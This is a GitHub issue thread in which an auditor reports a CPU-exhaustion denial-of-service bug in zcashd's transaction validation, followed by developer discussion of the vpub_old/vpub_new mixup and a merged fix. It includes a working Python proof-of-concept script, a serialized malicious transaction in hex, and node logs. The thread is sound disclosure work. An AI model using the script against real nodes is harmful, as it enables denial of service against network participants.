New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

ZCA006 - Unhandled exception allows a CPU-exhaustion attacker to get away with it #1319

Closed
coinspect opened this Issue Aug 29, 2016 · 12 comments

Comments

Projects
None yet
5 participants
@ghost
Copy link

ghost commented Aug 29, 2016

CTransaction::GetValueOut() throws a "value out of range" exception when the total output value of a transaction is less than zero or more than MAX_MONEY.
Attackers can continuously send the same out-of-range transaction to a target node without being banned. The CPU-intensive zk-SNARK verification is executed before the first invocation of GetValueOut, from NonContextualCheckInputs.
The attack was tested by sending the same transaction 10,000 times against a local node. The data was sent in seconds but zcashd needed 8 minutes to process the transactions using the 100% CPU.

The transactions created with the following Python script pass all the CheckTransaction validations and the joinsplit verification.

#!/usr/bin/python
from StringIO import StringIO
from test_framework.authproxy import AuthServiceProxy, JSONRPCException
from test_framework.mininode import CTransaction , CTxOut
from random import getrandbits
from sys import stderr

MAX_COIN = 21000000*100000000
scriptPubKey = '76a914'+'%040x'%getrandbits(160)+'88ac'
scriptPubKey = scriptPubKey.decode('hex')

api = AuthServiceProxy("http://username:password@127.0.0.1:18232")
zcaddress = api.zcrawkeygen()["zcaddress"]

#create a transaction without inputs and a single max value output
mtx = CTransaction()
mtx.vout.append(CTxOut(MAX_COIN,scriptPubKey))
mtx_raw = mtx.serialize().encode('hex')

print >> stderr, "Calling zcrawjoinsplit .."
js = api.zcrawjoinsplit(mtx_raw, {}, {zcaddress:0.001}, 0.001, 0.0)
print >> stderr, "Signing .."
mtx_sig = api.signrawtransaction(js["rawtxn"])["hex"]

jstx = CTransaction()
jstx.deserialize(StringIO(mtx_sig.decode('hex')))
print >> stderr, jstx
print mtx_sig
open('./tx_maxout', 'wb').write(mtx_sig)

Sample transaction:

zc@zc:~/current/zcash/qa/rpc-tests$ ./maketx_maxout.py                                                   
Calling zcrawjoinsplit ..
Signing ..
CTransaction(nVersion=2 vin=[] vout=[CTxOut(nValue=21000000.00000000 scriptPubKey=76a914cf7759760ad488fe4ec47505f074818e6ef8374688ac)] nLockTime=0, joinSplitPubKey=4d9bbecbf12d
450d425db41a921973ca201fdb387403430f67e4d84720156ed8, vjoinsplit=[JSDescription (vpub_old=0.00100000  vpup_new=0.00000000  anchor=59d2cde5e65c1414c32ba54f0fe4bdb3d67618125286e6a191317917c812c6d7 nullifiers=[1c40a3bd4a798a15e2f
36e5aa427ce1252e887c0d30aca241d56067cc8de0069, 77fcdc016e6e18c1764eafd5355b1e57fd2e32929d3fdd34c38383233e03c6be] commitments=[27d86439d0ccfd26084b608ab6ad955e5831ec0c4480db83e180da452f640f42, 28cd6f877219b378df60b430f2adfe5e65
5deefeb506f57ffaae0095dd66fb46] macs=[0992ca11faf5c9ee3f2db35607ae32c9c2bb2f9ccab1090a94dbe255262b79e8, db766457fb277a3b98abfa8da1d8ba42c560ce88c5fc7236384d7e6a18b6735b] )])

0200000000010040075af07507003276a914cf7759760ad488fe4ec47505f074818e6ef8374688ac0000000001a0860100000000000000000000000000d7c612c817793191a1e68652121876d6b3bde40f4fa52bc314145c
e6e5cdd2596900dec87c06561d24ca0ad3c087e85212ce27a45a6ef3e2158a794abda3401cbec6033e238383c334dd3f9d92322efd571e5b35d5af4e76c1186e6e01dcfc77420f642f45da80e183db80440cec31585e95adb68a604b0826fdccd03964d82746fb66dd9500aefa7ff506b5
feee5d655efeadf230b460df78b31972876fcd2821ca9bf08ab8544782515595a1d52f3d840c998c8e3e3b35e3884a6670708a25b96d7b8f420064b9848ce909552a9d4ac4862a67cd5880831b6e87e3b2a39cc9e8792b2655e2db940a09b1ca9c2fbbc2c932ae0756b32d3feec9f5fa11
ca92095b73b6186a7e4d383672fcc588ce60c542bad8a18dfaab983b7a27fb576476db020b9d0bba9729802e54c145fde9dc413527b805ed9eb548c0fb4580bc650d199202034ff7f69a0cb3440451428098240418bc24db550e41ca35735e9084c672190a0b07527d5299ef4c4c89e79d
e37fa8b61a99a62dbb76d94b69541566d37f24c88d20c99c3378ea94d54ab5ca61a6e95ec5d1999c54b447466ab5a7686beeb0bc9c03063b1b586748fc1ef9ab440fd8f20d8286ff28256fa1e903c497350c4930e8a5033023ddc377622d09e2389de91bc52952ddbde246f06a4ed8565d
96718a35bd8903259cba8f17beae4aeeb2ba83662944e05a05a171eda78988e6ce2f79dd4dd82a022fbf2fb4147a9685b836b36ea87fa937f7480d6779cb780a40e5723574654b0e0307b4c5f6b9c9c44d56daff4f4ddf3be8633d3a9a94a118cc1f68f98cfd28a517a27fae573f7b908b
210108f29a8fd100763f8d191cbd52a0beb53c02353f35c7bd153806b82eff30ea458204a736cf221fde1c2bf77346bc6e1648233108d23861fb9a5361c1458f7220c35ce9db3908f1360b2fc240639737d851125d7d6c3c332a72487dd969b31a22bd1724e05cc3ac904079723814662f
9fbd961838bb94fe050e7e8fd26af30332ba75d7386a8477af9c255e673c9963472c01c4f889488738ddc89e4b0a6dab041cdc2a44302ccd84ee657629e01be15a29cf8e373f6c4e3020ce22652eee11f71012ce53dad46bc15e6c2bbd6601ba9939f646d0a32842a68d945c82c321b7bc
f779ac3a34b501c65b84881705e1d3c2854a3bb0b7360cf90c86bcc731520daa964cc2495e627d41ad2253d49e67c5b2ad72a637825b0ed300e3226f8f92f6d95da72009f6811af2a81ebbd1061cc33c03d9cf9d612bc64a10e67afa693ae477f9d93a09bee56123510244330d6402dc47
7a5d324c51b6120950ea278d1e9b75843db938eca67ddc3ac8d566b86a3e70105fc6c34fe9ff3173c4fad6f1fd80d724e0715c4ed6edc6876df411baecb456c2176852d77a781c3867fa02a866e1dcf5e22a08392d0d0d9b718835fbdf7d09c8f37ea5cb447f0ffd1b29ea4d274b9ce9d7
b7d56149e7159b84ca56acb1ccb545b2b76cc9e600421526e02a64ad819c1d1bf906c25637c8739063f6562745c3cd9702c2a14399abdd02d9b38fe8fa47ac44c9d534184455da4462df610a8f9e94ca161ea44a08fec854900acee2564819f3f931573d3a4f815818e147380b810c24c6
1c9cb992774dc2c35ba6df1c0e21b818929acc796e0297109bd9508d0fd01ffda3926bb4d3f986be9a48e4bcfc1abb22c4dda560b868d7bf02265f3e01ed2e5567c96da517a6f1b8544d5d30764ba88f7552dde5382154ade34e4ac6f335272ef8fb9241e02e81f426d09b904fe2b4c311
b055fd081033e78628d96360d9b166bb4971ba0074fd88e14971d8f20af86ace602bde26a5dd7a8c86391a7176916a00b01a6d226d0e923399792ef130b341400f99dedc78e04abcb4b4d37aab01d6fc8944f47cb058645abd3108b7772f4f5c36a513fa7258423831e006f16daebe087d
a3f6456c8206b017fa2eb5055b1cc74ab701d520fdd765c90412a9660183131f2fec5f0789c4d2849d64dcf6d7a0417cced768199c7361e2ee799c463bdba81a11049274846ea6872ac488d074992994cbd64a6c73117921fdf725c4d4cf1d6b982aeea8cf49b1f86641c4e2f442166b33
0d508035e491703ec9aa649accf320aa619ccc2cf81bb8f44fc6f9352b252d802d1720ee7a3928b2a8cdf7c788123e771076e4ec6b9b04f3866a9fb6bfe3e893adcc43c8a23a3d54ba17ab056dab8a45e95a78739d23bd7bbe9ef9d5dce64a7fafad547eaaf1a8ab5cfe85a13cbfc80d98
d3d27271947c86cdd81add1764dc33397576bc7484935c22c11455e3f7c538341fd49a78da5df1e6af3239d6ceee1f0c7d15c50523a4b65d437de5b3eea059bc86ec6bd2c4ea7ffa795d48eff3b5e58a0f8ed89d8d50c4246331bdf657cf1aba8c06d206793da2c239cfc0dfa694670eb5
d6be4f04f0f21a787e29da7fc554afdd10c02fb3f5760d4558945ab4b97ce417e01d246baa72b5a424d135e2769ae327ac3b41a9bf64c78dc1a6d9d5173b9ed6d86e152047d8e4670f43037438db1f20ca7319921ab45d420d452df1cbbe9b4dcb9503813d2313c8b472bd21a9ef62c060
1a35e332bb0fb2480bc1dc07827da7e620d519ab2c80faab254b00f5f35578ec3614656989231669382dada058d902

debug.log

2016-08-29 20:49:16 connection from 127.0.0.1:35608 accepted
2016-08-29 20:49:16 received: version (112 bytes) peer=22
2016-08-29 20:49:16 send version message: version 170002, blocks=3240, us=xxx.246.xxx.51:18444, peer=22
2016-08-29 20:49:16 sending: version (102 bytes) peer=22
2016-08-29 20:49:16 sending: verack (0 bytes) peer=22
2016-08-29 20:49:16 receive version message: /pythonzcashtester:0.0.1/: version 170002, blocks=-1, us=127.0.0.1:18444, peer=22
2016-08-29 20:49:16 sending: ping (8 bytes) peer=22
2016-08-29 20:49:16 initial getheaders (3239) to peer=22 (startheight:-1)
2016-08-29 20:49:16 sending: getheaders (773 bytes) peer=22
2016-08-29 20:49:16 received: verack (0 bytes) peer=22
2016-08-29 20:49:16 received: pong (8 bytes) peer=22
2016-08-29 20:49:16 received: tx (1968 bytes) peer=22
2016-08-29 20:49:16

************************
EXCEPTION: St13runtime_error
CTransaction::GetValueOut(): value out of range
Zcash in ProcessMessages()

2016-08-29 20:49:16 ProcessMessages(tx, 1968 bytes) FAILED peer=22
2016-08-29 20:49:17 received: tx (1968 bytes) peer=22
2016-08-29 20:49:17

************************
EXCEPTION: St13runtime_error
CTransaction::GetValueOut(): value out of range
Zcash in ProcessMessages()

2016-08-29 20:49:17 ProcessMessages(tx, 1968 bytes) FAILED peer=22
2016-08-29 20:49:17 received: tx (1968 bytes) peer=22
2016-08-29 20:49:17

************************
EXCEPTION: St13runtime_error
CTransaction::GetValueOut(): value out of range
Zcash in ProcessMessages()

2016-08-29 20:49:17 ProcessMessages(tx, 1968 bytes) FAILED peer=22
2016-08-29 20:49:17 received: tx (1968 bytes) peer=22
2016-08-29 20:49:17

************************
EXCEPTION: St13runtime_error
CTransaction::GetValueOut(): value out of range
Zcash in ProcessMessages()

2016-08-29 20:49:17 ProcessMessages(tx, 1968 bytes) FAILED peer=22
2016-08-29 20:49:17 received: tx (1968 bytes) peer=22
2016-08-29 20:49:17

************************

The transactions were created and sent using this mininode.py version.

@ebfull

This comment has been minimized.

Copy link
Contributor

ebfull commented Aug 30, 2016

The unhandled exception isn't meant to be handled by our code but to be caught by an audit like this.

@ebfull

This comment has been minimized.

Copy link
Contributor

ebfull commented Aug 30, 2016

Oops, didn't mean to submit that comment so quickly.

So, this CPU exhaustion attack is my fault. Here's the logic so that others understand what's going on:

CTransaction::GetValueOut() is a function we use to total the output value of the transaction. We use this inside of CheckInputs to ensure that the values balance properly. In Bitcoin, this is just the sum of all the outputs' nValue. In CheckTransaction, you'll notice that Bitcoin ensures that this total does not exceed MAX_MONEY. They throw the (uncaught) exception because CheckTransaction should have already checked this for them.

We changed GetValueOut to include our vpub_olds, which act as "outputs" for the value pool. We throw an exception under the assumption that CheckTransaction has already double-checked that the vpub_old values do not exceed MAX_MONEY in some way.

However, CheckTransaction apparently does not do this properly.

        nValueOut += joinsplit.vpub_new;
        if (!MoneyRange(nValueOut)) {
            return state.DoS(100, error("CheckTransaction(): txout total out of range"),
                             REJECT_INVALID, "bad-txns-txouttotal-toolarge");
        }

It is adding vpub_new to nValueOut instead of vpub_old. Wrong!

Further, an exception inside of GetJoinSplitValueIn exists which must be prevented by CheckTransaction as well.

@ebfull

This comment has been minimized.

Copy link
Contributor

ebfull commented Aug 30, 2016

I would like us to consider renaming vpub_new and vpub_old to vpub_in and vpub_out (respectively) so that these kinds of mistakes are more obvious. (I remember @nathan-at-least being a bit skeptical of our naming choice here!)

@str4d

This comment has been minimized.

Copy link
Contributor

str4d commented Aug 30, 2016

I'd be +1 on a change - I managed to confuse myself a few times while adding JoinSplit support to a block explorer. The only reason against vpub_in and vpub_out could be that it is ambiguous as to whether that is into/out of the public value pool, or into/out of the JoinSplit. But then, so is the existing terminology!

@SergioDemianLerner

This comment has been minimized.

Copy link
Contributor

SergioDemianLerner commented Aug 30, 2016

We also detected that bug. Here is an excerpt of our audit recommendations:

The code should read “joinsplit.vpub_old“ instead of “joinsplit.vpub_new“. The error may have been caused because the names “vpub_old” and “vpub_new” are not intuitive.

Recommendations

Correct the code
Rename the “vpub_old” and “vpub_new” fields “valueMovedIntoConfidentialStore” and “valueMovedOutOfConfidentialStore”

@ebfull ebfull added this to the Beta 2 - audit mitigations and critical bug fixes milestone Aug 30, 2016

@daira

This comment has been minimized.

Copy link
Contributor

daira commented Aug 30, 2016

@ebfull wrote:

I would like us to consider renaming vpub_new and vpub_old to vpub_in and vpub_out (respectively) so that these kinds of mistakes are more obvious.

That's would be even more confusing! All of the variables for monetary values in a JoinSplitDescription are named relative to the JoinSplit operation, not the transparent value pool. Any use of the terms "in" and "out" on their own will necessarily be confusing because value is going out of the transparent pool and in to the JoinSplit (or vice-versa).

That's why these variables were renamed to their current new/old names, which are consistent with the naming of variables for the new/old notes.

@daira

This comment has been minimized.

Copy link
Contributor

daira commented Aug 30, 2016

I favour "valueProtected" and "valueUnprotected". If there is consensus on this then I'll update the field names in the spec.

@ebfull

This comment has been minimized.

Copy link
Contributor

ebfull commented Aug 30, 2016

I don't think those names will help us avoid this situation.

I think the best approach would be to implement a function on ZCJoinSplit called input_value and output_value which just returns vpub_in and vpub_out as it stands, and use those functions exclusively in the consensus code.

@daira

This comment has been minimized.

Copy link
Contributor

daira commented Aug 30, 2016

Hmm, why not? I am really opposed to using "input" or "output" for this; I think that's a major contributor to the confusion, since different people at different times are thinking either from the point of view of the transparent value pool, or the JoinSplit.

@ebfull

This comment has been minimized.

Copy link
Contributor

ebfull commented Aug 30, 2016

I want it to be obvious on the Bitcoin side that the value enters or leaves the value pool, and obvious on the JoinSplit site that value enters or leaves the joinsplit. Since it's mirrored, making a function return the opposite value with an explicit name sounds like the best approach and won't require us to modify the spec.

@ebfull

This comment has been minimized.

Copy link
Contributor

ebfull commented Aug 30, 2016

(For the record I'm agreeing with you now that changing the name to use input will just shift the issue.)

@daira

This comment has been minimized.

Copy link
Contributor

daira commented Aug 30, 2016

Changing the spec is low-cost, whatever else we do, because it's literally just two macros. (I'd like to change it before I push the reorganised spec to master though, so we should decide now.)

zkbot pushed a commit that referenced this issue Sep 7, 2016

zkbot
Auto merge of #1341 - ebfull:fix-checktransaction-bug, r=ebfull
Fix CheckTransaction bugs.

Closes #1319.

Does not address the name of `vpub_old` or `vpub_new`.

zkbot pushed a commit that referenced this issue Sep 7, 2016

zkbot
Auto merge of #1341 - ebfull:fix-checktransaction-bug, r=ebfull
Fix CheckTransaction bugs.

Closes #1319.

Does not address the name of `vpub_old` or `vpub_new`.

@zkbot zkbot closed this in #1341 Sep 7, 2016

@daira daira changed the title Unhandled exception allows a CPU-exhaustion attacker to get away with it ZCA006 - Unhandled exception allows a CPU-exhaustion attacker to get away with it Sep 14, 2016

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment